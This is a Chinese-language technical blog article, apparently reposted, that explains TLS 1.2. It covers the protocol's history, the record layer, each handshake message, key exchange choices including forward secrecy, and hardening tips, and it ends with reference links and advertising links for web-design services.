但是對於部署在互聯網上的服務,如果我們為每個客戶端都使用相同的對稱加密密鑰,那麼任何人都可以將數據解密,那麼數據的隱私性將得不到保障。

如果我們使用非對稱密鑰加密,客戶端使用服務端的公鑰進行公鑰加密,服務端在私鑰不泄露的情況下,只有服務端可以使用私鑰可以對數據進行解密,從而保障數據的隱私性,但是非對稱加密比對稱加密的成本高得多。

我們可以採用對稱加密和非對稱加密相結合的方式實現數據的隱私性的同時性能又不至於太差。

  1. 首先客戶端和服務端通過一個稱為密鑰交換的流程進行密鑰協商及交換密鑰所系的信息。
  2. 通過公鑰加密對稱密鑰保證對稱密鑰的安全傳輸。
  3. 服務端使用私鑰解密出對稱密鑰。
  4. 最後雙方使用協商好的對稱密鑰對數據進行加解密。

TLS協議就是實現了這一過程安全協議。TLS是在TCP之上,應用層之下實現的網絡安全方案。在TCP/IP四層網絡模型中屬於應用層協議。TLS協議在兩個通信應用程序之間提供數據保密性和數據完整性,另外還提供了連接身份可靠性方案。

UDP則使用DTLS協議實現安全傳輸,和TLS協議類似。

發展歷史

TLS協議的前身SSL協議是網景公司設計的主要用於Web的安全傳輸協議,這種協議在Web上獲得了廣泛的應用。

  • 1994年,網景公司設計了SSL協議的1.0版,因為存在嚴重的安全漏洞,未公開。
  • 2.0版本在1995年2月發布,但因為存在數個嚴重的安全漏洞(比如使用MD5摘要、握手消息沒有保護等),2011年RFC 6176 標準棄用了SSL 2.0。
  • 3.0版本在1996年發布,是由網景工程師完全重新設計的,同時寫入RFC,較新版本的SSL/TLS基於SSL 3.0。2015年,RFC 7568 標準棄用了SSL 3.0。
  • 1999年,IETF將SSL標準化,並將其稱為TLS(Transport Layer Security)。從技術上講,TLS 1.0與SSL 3.0的差異非常微小。
  • TLS 1.1在RFC 4346中定義,於2006年4月發表,主要修復了CBC模式的BEAST攻擊等漏洞。

    微軟、Google、蘋果、Mozilla四家瀏覽器業者將在2020年終止支持TLS 1.0及1.1版。

  • TLS 1.2在RFC 5246中定義,於2008年8月發表,添加了增加AEAD加密算法,如支持GCM模式的AES。
  • TLS 1.3在RFC 8446中定義,於2018年8月發表,砍掉了AEAD之外的加密方式。

協議設計目標

  1. 加密安全:TLS應用於雙方之間建立安全連接,通過加密,簽名,數據摘要保障信息安全。
  2. 互操作性:程序員在不清楚TLS協議的情況下,只要對端代碼符合RFC標準的情況下都可以實現互操作。
  3. 可擴展性:在必要時可以通過擴展機制添加新的公鑰和機密方法,避免創建新協議。
  4. 相對效率:加密需要佔用大量CPU,尤其是公鑰操作。TLS協議握手完成后,通過對稱密鑰加密數據。TLS還集成了會話緩存方案,減少需要從頭建立連接的情況。

記錄協議

TLS協議是一個分層協議,第一層為TLS記錄層協議(Record Layer Protocol),該協議用於封裝各種高級協議。目前封裝了4種協議:握手協議(Handshake Protocol)、改變密碼標準協議(Change Cipher Spec Protocol)、應用程序數據協議(Application Data Protocol)和警報協議(Alert Protocol)。

Change Cipher Spec Protocol在TLS1.3被去除。

記錄層包含協議類型、版本號、長度、以及封裝的高層協議內容。記錄層頭部為固定5字節大小。

在TLS協議規定了,如接收到了未定義的協議協議類型,需要發送一個unexpected_message警報。

握手步驟

  • 當客戶端連接到支持TLS協議的服務端要求創建安全連接並列出了受支持的算法套件(包括加密算法、散列算法等),握手開始。
  • 服務端從客戶端的算法套件列表中指定自己支持的一個算法套件,並通知客戶端,若沒有則使用一個默認的算法套件。
  • 服務端發回其数字證書,此證書通常包含服務端的名稱、受信任的證書頒發機構(CA)和服務端的公鑰。
  • 客戶端確認其頒發的證書的有效性。
  • 為了生成會話密鑰用於安全連接,客戶端使用服務端的公鑰加密隨機生成的密鑰,並將其發送到服務端,只有服務端才能使用自己的私鑰解密。
  • 利用隨機數,雙方生成用於加密和解密的對稱密鑰。這就是TLS協議的握手,握手完畢后的連接是安全的,直到連接(被)關閉。如果上述任何一個步驟失敗,TLS握手過程就會失敗,並且斷開所有的連接。

握手協議

TLS 握手協議允許服務端和客戶端相互進行身份驗證,並在應用程序協議傳輸或接收其第一個字節數據之前協商協議版本、會話ID、壓縮方法、密鑰套件、以及加密密鑰。

完整的TLS握手流程,流程如下

  Client                                                       Server

  ClientHello                  -------->
                                                          ServerHello
                                                          Certificate*
                                                    ServerKeyExchange*
                                                  CertificateRequest*
                                <--------              ServerHelloDone
  Certificate*
  ClientKeyExchange
  CertificateVerify*
  [ChangeCipherSpec]
  Finished                     -------->
                                                    [ChangeCipherSpec]
                                <--------                     Finished
  Application Data             <------->             Application Data
  • 表示可選步驟或與實際握手情況相關。比如重建已有連接,服務端無需執行Certificate,再比如使用RSA公鑰加密時,無需ServerKeyExchange。
    握手協議消息必須按上面流程的發送數據進行發送,否則需要以致命錯誤告知對方並關閉連接。

完整的握手流程有時候也被稱為2-RTT流程,即完整的握手流程需要客戶端和服務端交互2次才能完成握手。

交互應用請求到響應的交互時間被稱為往返時間(Round-trip Time)

握手協議的結構如下,其中協議頭的ContentType固定為22,接下來是TLS版本號,TLS1.2為0303,最後是用2字節表示長度。

握手協議類型包含以下:

  • hello_request:0
  • client_hello:1
  • server_hello:2
  • certificate:3
  • server_key_exchange :12
  • certificate_request:13
  • server_hello_done:14
  • certificate_verify:15
  • client_key_exchange:16
  • finished:20

Hello Message是具體的握手協議類型內容,不同協議內容有所不同。

Hello Request

Hello Request消息用於客戶端與服務端重新協商握手,該消息可能由服務端在任何時刻發送。Hello Request消息非常簡單,沒有其他冗餘信息。

當客戶端收到了服務端的Hello Request時可以有以下4種行為:

  • 當客戶端正在協商會話,可以忽略該消息。
  • 若客戶端未在協商會話但不希望重新協商時,可以忽略該消息。
  • 若客戶端未在協商會話但不希望重新協商時,可以發送no_renegotiation警報。
  • 若客戶端希望重新協商會話,則需要發送ClientHello重新進行TLS握手。

服務端發送完HelloRequest消息,可以有以下幾種行為:

  • 服務端發送了HelloRequest消息,但未收到ClientHello時,可以通過致命連接警報關閉連接。
  • 服務端發送了HelloRequest消息,必須等待握手協商處理完成后才可以繼續處理應用數據消息。

Finished和Certificate的握手消息驗證不包括該消息的hash。

Client Hello

當客戶端首次與服務端建立連接或需要重新協商加密握手會話時,需要將Client Hello作為第一條消息發送給服務端。

Client Hello消息包含了許多重要信息,包括客戶端版本號、客戶端隨機數、會話ID、密鑰套件、壓縮方式、擴展字段等。

  • 客戶端版本號:客戶端支持的最新TLS版本號,服務端會根據該協議號進行協議協商。
  • 32位隨機數:客戶端生成的32位隨機數。前4位是Unix時間戳,該時間戳為1970年1月1日0點以來的秒數。不過TLS並沒有強制要求校驗該時間戳,因此允許定義為其他值。後面28位為一個隨機數。

    通過前4字節填寫時間方式,有效的避免了周期性的出現一樣的隨機數。使得”隨機”更加”隨機”。
    在TLS握手時,客戶端和服務端需要協商數據傳輸時的加密密鑰。為了保證加密密鑰的安全性。密鑰需要通過客戶端和服務端一起生成。客戶端和服務端都提供一個32位的隨機數,通過該隨機數使用基於HMAC的PRF算法生成客戶端和服務端的密鑰。

  • 會話ID:用於表示客戶端和服務端之間的會話。實際的會話ID是由服務端定義的,因此即使是新的連接,服務端返回的會話ID可能也會和客戶端不一致,由於會話ID是明文傳輸的,因此不能存放機密信息。
    • 若會話ID是新的,則客戶端和服務端需要建立完整的TLS握手連接流程。
    • 若會話ID是較早連接的會話ID,則服務端可以選擇無需執行完整的握手協議。
  • 算法套件:客戶端將支持的加密算法組合排列后發送給服務端,從而和服務端協商加密算法。服務端根據支持算法在ServerHello返回一個最合適的算法組合。
    算法套件的格式為TLS_密鑰交換算法_身份認證算法_WITH_對稱加密算法_消息摘要算法,比如TLS_DHE_RSA_WITH_AES_256_CBC_SHA256,密鑰交換算法是DHE,身份認證算法是RSA,對稱加密算法是AES_256_CBC,消息摘要算法是SHA256,由於RSA又可以用於加密也可以用於身份認證,因此密鑰交換算法使用RSA時,只寫一個RSA,比如TLS_RSA_WITH_AES_256_CBC_SHA256
  • 壓縮方式:用於和服務端協商數據傳輸的壓縮方式。由於TLS壓縮存在安全漏洞,因此在TLS1.3中已經將TLS壓縮功能去除,TLS1.2算法也建議不啟用壓縮功能。
  • 擴展字段:可以在不改變底層協議的情況下,添加附加功能。客戶端使用擴展請求其他功能,服務端若不提供這些功能,客戶端可能會中止握手。對於擴展字段的詳細定義可以看Transport Layer Security (TLS) Extensions

客戶端發送完 ClientHello 消息后,將等待 ServerHello 消息。 服務端返回的任何握手消息(HelloRequest 除外)將被視為致命錯誤。

Server Hello

當服務端接收到ClientHello,則開始TLS握手流程, 服務端需要根據客戶端提供的加密套件,協商一個合適的算法簇,其中包括對稱加密算法、身份驗證算法、非對稱加密算法以及消息摘要算法。若服務端不能找到一個合適的算法簇匹配項,則會響應握手失敗的預警消息。

  • 版本號:服務端根據客戶端發送的版本號返回一個服務端支持的最高版本號。若客戶端不支持服務端選擇的版本號,則客戶端必須發送protocol_version警報消息並關閉連接。

    若服務端接收到的版本號小於當前支持的最高版本,且服務端希望與舊客戶端協商,則返回不大於客戶端版本的服務端最高版本。
    若服務端僅支持大於client_version的版本,則必須發送protocol_version警報消息並關閉連接。
    若服務端收到的版本號大於服務端支持的最高版本的版本,則必須返回服務端所支持的最高版本。

  • 32位隨機數:服務端生成的32位隨機數,生成方式和客戶端一樣。服務端生成隨機數的可以有效的防範中間人攻擊,主要是通過防止重新握手后的重放攻擊。

  • 會話ID:用於表示客戶端和服務端之間的會話。若客戶端提供了會話ID,則可以校驗是否與歷史會話匹配。

    • 若不匹配,則服務端可以選擇直接使用客戶端的會話ID或根據自定義規則生成一個新的會話ID,客戶端需要保存服務端返回的會話ID當作本次會話的ID。

    • 若匹配,則可以直接執行1-RTT握手流程,返回ServerHello后直接返回ChangeCipherSpecFinished消息。

          Client                                                Server
      
          ClientHello                   -------->
                                                          ServerHello
                                                      [ChangeCipherSpec]
                                          <--------             Finished
          [ChangeCipherSpec]
          Finished                      -------->
          Application Data              <------->     Application Data
      

      在Finished消息中和完整握手一樣都需要校驗VerifyData。

  • 算法套件:服務端根據客戶端提供的算法套件列表和自己當前支持算法進行匹配,選擇一個最合適的算法組合,若沒有匹配項,則使用默認的TLS_RSA_WITH_AES_128_CBC_SHA

    TLS1.2協議要求客戶端和服務端都必須實現密碼套件TLS_RSA_WITH_AES_128_CBC_SHA

  • 壓縮方式:用於和服務端協商數據傳輸的壓縮方式。由於TLS壓縮存在安全漏洞,因此在TLS1.3中已經將TLS壓縮功能去除,TLS1.2算法也建議不啟用壓縮功能。

  • 擴展字段:服務端需要支持接收具有擴展和沒有擴展的ClientHello。服務端響應的擴展類型必須是ClientHello出現過才行,否則客戶端必須響應unsupported_extension嚴重警告並中斷握手。

RFC 7568要求客戶端和服務端握手時不能發送{3,0}版本,任何收到帶有協議Hello消息的一方版本設置為{3,0}必須響應protocol_version警報消息並關閉連接。

通過ClientHelloServerHello,客戶端和服務端就協商好算法套件和用於生成密鑰的隨機數。

Certificate

假設客戶端和服務端使用默認的TLS_RSA_WITH_AES_128_CBC_SHA算法,在ServerHello完成后,服務端必須將本地的RSA證書傳給客戶端,以便客戶端和服務端之間可以進行非對稱加密保證對稱加密密鑰的安全性。
RSA的證書有2個作用:

  • 客戶端可以對服務端的證書進行合法性進行校驗。
  • Client Key Exchange生成的pre-master key進行公鑰加密,保證只有服務端可以解密,確保對稱加密密鑰的安全性。

發送給客戶端的是一系列證書,服務端的證書必須排列在第一位,排在後面的證書可以認證前面的證書。
當客戶端收到了服務端的ServerHello時,若客戶端也有證書需要服務端驗證,則通過該握手請求將客戶端的證書發送給服務端,若客戶端沒有證書,則無需發送證書請求到服務端。

證書必須為X.509v3格式。

Server Key Exchange

使用RSA公鑰加密,必須要保證服務端私鑰的安全。若私鑰泄漏,則使用公鑰加密的對稱密鑰就不再安全。同時RSA是基於大數因式分解。密鑰位數必須足夠大才能避免密鑰被暴力破解。

1999年,RSA-155 (512 bits) 被成功分解。
2009年12月12日,RSA-768 (768 bits)也被成功分解。
在2013年的稜鏡門事件中,某個CA機構迫於美國政府壓力向其提交了CA的私鑰,這就是十分危險的。

相比之下,使用DH算法通過雙方在不共享密鑰的情況下雙方就可以協商出共享密鑰,避免了密鑰的直接傳輸。DH算法是基於離散對數,計算相對較慢。而基於橢圓曲線密碼(ECC)的DH算法計算速度更快,而且用更小的Key就能達到RSA加密的安全級別。ECC密鑰長度為224~225位幾乎和RSA2048位具有相同的強度。

ECDH:基於ECC的DH算法。

另外在DH算法下引入動態隨機數,可以避免密鑰直接傳輸。同時即使密鑰泄漏,也無法解密其他消息,因為雙方生成的動態隨機數無法得知。

在密碼學中該特性被稱為前向保密

DHE: 通過引入動態隨機數,具有前向保密的DH算法。
ECDHE:通過引入動態隨機數,具有前保密的ECDH算法。

Certificate Request

當需要TLS雙向認證的時候,若服務端需要驗證客戶端的證書,則向客戶端發送Certificate Request請求獲取客戶端指定類型的證書。

  • 服務端會指定客戶端的證書類型。
  • 客戶端會確定是否有合適的證書。

Server Hello Done

當服務端處理Hello請求結束時,發送Server Hello Done消息,然後等待接收客戶端握手消息。客戶端收到服務端該消息,有必要時需要對服務端的證書進行有效性校驗。

Client Certificate

當客戶端收到了服務端的CertificateRequest請求時,需要發送Client Certificate消息,若客戶端無法提供證書,則仍要發送此消息,消息內容可以不包含證書。

Client Key Exchange

客戶端接收到ServerHelloDone消息后,計算密鑰,通過發送Client Key Exchange消息給服務端。客戶端和服務端通過Key Exchange消息交換密鑰,使得雙方的主密鑰協商達成一致。

以RSA的密鑰協商為例。在ClientHelloServerHello分別在客戶端和服務端創建了一個32位的隨機數。客戶端接收到Server Hello Done消息時,生成最後一個48位的預主密鑰。通過服務端提供的證書進行公鑰加密,以保證只有服務端的私鑰才能解密。

其中預主密鑰的前2位要求使用Client Hello傳輸的TLS版本號(存在一些TLS客戶端傳遞的時協商后的TLS版本號,對該版本號檢查時可能會造成握手失敗)。

需要注意的是,若RSA證書的填空格式不正確,則可能會存在一個漏洞導致客戶端發送的PreMasterSecret被中間人解密造成數據加密的對賬密鑰泄漏。可以看下Attacking RSA-based Sessions in SSL/TLS

Certificate Verify

若服務端要求客戶端發送證書,且客戶端發送了非0長度的證書,此時客戶端想要證明自己擁有該證書,則需要使用客戶端私鑰簽名一段數據發送給服務端繼續驗證。該數據為客戶端收發的所有握手數據的hash值(不包括本次消息)。

Finished

當發送完Change Cipher Spec消息后必須立即發送該消息。當該消息用於驗證密鑰交換和身份驗證過程是否成功。

Finished消息是第一個使用協商的算法簇進行加密和防篡改保護的消息。一旦雙方都通過了該消息驗證,就完成了TLS握手。
VerifyData為客戶端收發的所有握手數據的hash值(不包括本次消息)。與Certificate Verify的hash值可能會不一樣。如果發送過Certificate Verify消息,服務端的握手消息會包含Certificate Verify握手的數據。

需要注意的是,握手數據不包括協議頭的握手協議明文數據(服務端返回Finished的驗證握手數據是包含接收到客戶端的Finished的明文hash值)。

Finished消息數據加密和Appilication Data一致,具體數據加密在Application Data段進行說明。

改變密碼標準協議

改變密碼標準協議是為了在密碼策略中發出信號轉換信號。 該協議由一條消息組成,該消息在當前(不是掛起的)連接狀態下進行加密和壓縮。 消息由值 1 的單個字節組成。

在接收到該協議后,所有接收到的數據都需要解密。

警報協議

警報消息傳達消息的嚴重性(警告或致命)和警報的說明。具有致命級別的警報消息會導致立即終止連接。
若在改變密碼標準協議前接收到警報消息,是明文傳輸的,無需解密。

與其他消息一樣,警報消息按當前連接狀態指定進行加密和壓縮。在接收到改變密碼標準協議後接收到警報協議,則需要進行解密。解密后即為警報協議明文格式。

加密的Alert消息和加密數據一樣,都需要遞增加密序號,在數據解密時,遞增解密序號。

應用程序數據協議

當客戶端和服務端Finished發送完畢並驗證通過後,握手就結束了。後續所有數據都會使用握手協商的對稱密鑰進行數據加密。

TLS協議實現了數據加密和MAC計算。一般來說有3種加密模式,分別為:

  1. Mac-then-Encrypt:在明文上計算MAC,將其附加到數據,然後加密明和+MAC的完整數據。
  2. 加密和MAC:在明文上計算MAC,加密明文,然後將MAC附加到密文的末尾
  3. Encrypt-then-Mac:加密明文,然後在密文上計算MAC,並將其附加到密文。

TLS協議使用的是Mac-then-Encrypt。首先將加密的序號、ContentType、數據長度、數據進計算HMAC-SHA256摘要。然後將摘要拼接到數據后,通過PKCS7格式對摘要+MAC數據進行填充對其和加密塊大小一致。最後摘要+MAC+對其填充塊進行加密。

需要注意的是應用程序數據消息有最大長度限制2^14 + 2048,當超過長度后,數據需要分段傳輸。每一段都當作單獨的數據段進行單獨MAC地址並加密。

結語

TLS1.2版本是目前最常用的TLS協議,TLS1.3版本於2018年發表,目前並沒有廣泛使用。
使用TLS1.2需要注意以下幾點:

  1. 若使用RSA非對稱加密,則需要盡可能使用2048位長度的密鑰。
  2. 盡可能可以使用具有前向安全性的加密算法,如ECDHE算法進行非對稱加密。
  3. 使用AEAD認證加密(GCM)代替CBC塊加密。

參考文獻

  1. The Transport Layer Security (TLS) Protocol Version 1.2
  2. TLS發展歷史
  3. 前向安全性
  4. TLS/SSL 協議詳解 (30) SSL中的RSA、DHE、ECDHE、ECDH流程與區別
  5. TLS Extensions
  6. Session會話恢復:兩種簡短的握手總結SessionID&SessionTicket
  7. Why using the premaster secret directly would be vulnerable to replay attack?
  8. Why does the SSL/TLS handshake have a client and server random?
  9. Transport Layer Security (TLS) Extensions
  10. 什麼是AEAD加密
  11. Padding Oracle Attacks
  12. Lucky13攻擊
  13. Padding Oracle Attack
  14. ssl perfect forward secrecy
  15. Transport Layer Security (TLS) Session Resumption without Server-Side State
  16. Elliptic Curve Cryptography (ECC) Cipher Suites for Transport Layer Security (TLS)
  17. DTLS協議中client/server的認證過程和密鑰協商過程

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

網頁設計最專業,超強功能平台可客製化